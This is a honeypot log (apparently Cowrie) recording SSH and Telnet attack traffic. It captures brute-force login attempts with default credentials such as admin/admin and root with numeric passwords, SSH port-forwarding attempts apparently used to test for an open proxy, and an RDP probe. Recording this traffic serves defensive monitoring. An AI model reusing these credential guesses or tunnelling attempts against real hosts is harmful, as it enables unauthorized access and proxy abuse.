{"eventid":"cowrie.session.connect","src_ip":"31.59.44.31","src_port":39782,"dst_ip":"159.203.135.109","dst_port":22,"session":"2517f13ff0c1","protocol":"ssh","message":"New connection: 31.59.44.31:39782 (159.203.135.109:22) [session: 2517f13ff0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:03.277559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:03.445401Z","src_ip":"31.59.44.31","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:03.449645Z","src_ip":"31.59.44.31","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:03.965566Z","src_ip":"31.59.44.31","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":80,"src_ip":"31.59.44.31","src_port":8082,"message":"direct-tcp connection request to google.com:80 from 127.0.0.1:8082","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:04.127954Z","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"google.com","dst_port":80,"ja4h":"ge11nn010000_a510e5066512_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to google.com:80: ge11nn010000_a510e5066512_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:04.247813Z","src_ip":"31.59.44.31","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":80,"data":"b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:80 with data b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:04.256342Z","src_ip":"31.59.44.31","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.44.31","src_port":42890,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a846f0254de","protocol":"ssh","message":"New connection: 31.59.44.31:42890 (159.203.135.109:22) [session: 7a846f0254de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:16.392523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:16.488028Z","src_ip":"31.59.44.31","session":"7a846f0254de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:16.491973Z","src_ip":"31.59.44.31","session":"7a846f0254de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:16.765774Z","src_ip":"31.59.44.31","session":"7a846f0254de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:17.860234Z","src_ip":"31.59.44.31","session":"7a846f0254de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:19.344926Z","src_ip":"31.59.44.31","session":"2517f13ff0c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.21128559112549,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:26.784413Z","src_ip":"152.42.224.71","session":"ff086646b265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34030,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a7c116f47de","protocol":"telnet","message":"New connection: 152.42.224.71:34030 (10.17.0.5:23) [session: 8a7c116f47de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:51:30.834679Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"73bbce0dab69","protocol":"telnet","message":"New connection: 152.42.224.71:55888 (10.17.0.5:23) [session: 73bbce0dab69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:02.801992Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63844,"dst_ip":"10.17.0.5","dst_port":22,"session":"55bbd1d52aec","protocol":"ssh","message":"New connection: 87.251.64.176:63844 (10.17.0.5:22) [session: 55bbd1d52aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:13.904739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:13.923910Z","src_ip":"87.251.64.176","session":"55bbd1d52aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:14.023297Z","src_ip":"87.251.64.176","session":"55bbd1d52aec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:14.313948Z","src_ip":"87.251.64.176","session":"55bbd1d52aec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:14.413658Z","session":"55bbd1d52aec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:14.512938Z","src_ip":"87.251.64.176","session":"55bbd1d52aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:14.612408Z","src_ip":"87.251.64.176","session":"55bbd1d52aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36174,"dst_ip":"10.17.0.5","dst_port":22,"session":"69da795ba100","protocol":"ssh","message":"New connection: 87.251.79.125:36174 (10.17.0.5:22) [session: 69da795ba100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:30.152955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:30.157944Z","src_ip":"87.251.79.125","session":"69da795ba100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:30.232308Z","src_ip":"87.251.79.125","session":"69da795ba100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123455432","message":"login attempt [root/123455432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:30.465509Z","src_ip":"87.251.79.125","session":"69da795ba100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:31.541901Z","src_ip":"87.251.79.125","session":"69da795ba100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":45652,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb14be704e29","protocol":"ssh","message":"New connection: 193.228.128.84:45652 (159.203.135.109:22) [session: cb14be704e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:34.527846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:34.532525Z","src_ip":"193.228.128.84","session":"cb14be704e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:34.635012Z","src_ip":"193.228.128.84","session":"cb14be704e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456654","message":"login attempt [root/456654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:34.945038Z","src_ip":"193.228.128.84","session":"cb14be704e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:52:36.058455Z","src_ip":"193.228.128.84","session":"cb14be704e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.73911619186401,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:19.540968Z","src_ip":"152.42.224.71","session":"73bbce0dab69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":34958,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cd62fbf4f48","protocol":"telnet","message":"New connection: 213.108.3.46:34958 (159.203.135.109:23) [session: 2cd62fbf4f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:19.760670Z"}
{"eventid":"cowrie.session.closed","duration":0.017373323440551758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:19.777920Z","src_ip":"213.108.3.46","session":"2cd62fbf4f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39594,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc31c7cc16bd","protocol":"telnet","message":"New connection: 152.42.224.71:39594 (10.17.0.5:23) [session: cc31c7cc16bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:23.917141Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56089,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d4c2bd5037","protocol":"ssh","message":"New connection: 167.172.81.52:56089 (10.17.0.5:22) [session: d0d4c2bd5037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:24.062647Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:24.067662Z","src_ip":"167.172.81.52","session":"d0d4c2bd5037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:24.071341Z","src_ip":"167.172.81.52","session":"d0d4c2bd5037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9095730277","protocol":"telnet","message":"New connection: 152.42.224.71:57222 (10.17.0.5:23) [session: ec9095730277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:27.252632Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34120,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf3015e31bb","protocol":"ssh","message":"New connection: 89.223.69.22:34120 (10.17.0.5:22) [session: bbf3015e31bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:27.775854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:27.780351Z","src_ip":"89.223.69.22","session":"bbf3015e31bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:27.891751Z","src_ip":"89.223.69.22","session":"bbf3015e31bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890-","message":"login attempt [root/1234567890-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:28.227285Z","src_ip":"89.223.69.22","session":"bbf3015e31bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:29.341058Z","src_ip":"89.223.69.22","session":"bbf3015e31bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00298023223877,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:53:30.837570Z","src_ip":"152.42.224.71","session":"8a7c116f47de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.937188386917114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:00.854238Z","src_ip":"152.42.224.71","session":"cc31c7cc16bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38222,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d695c9e52a","protocol":"telnet","message":"New connection: 152.42.224.71:38222 (10.17.0.5:23) [session: 99d695c9e52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:24.629313Z"}
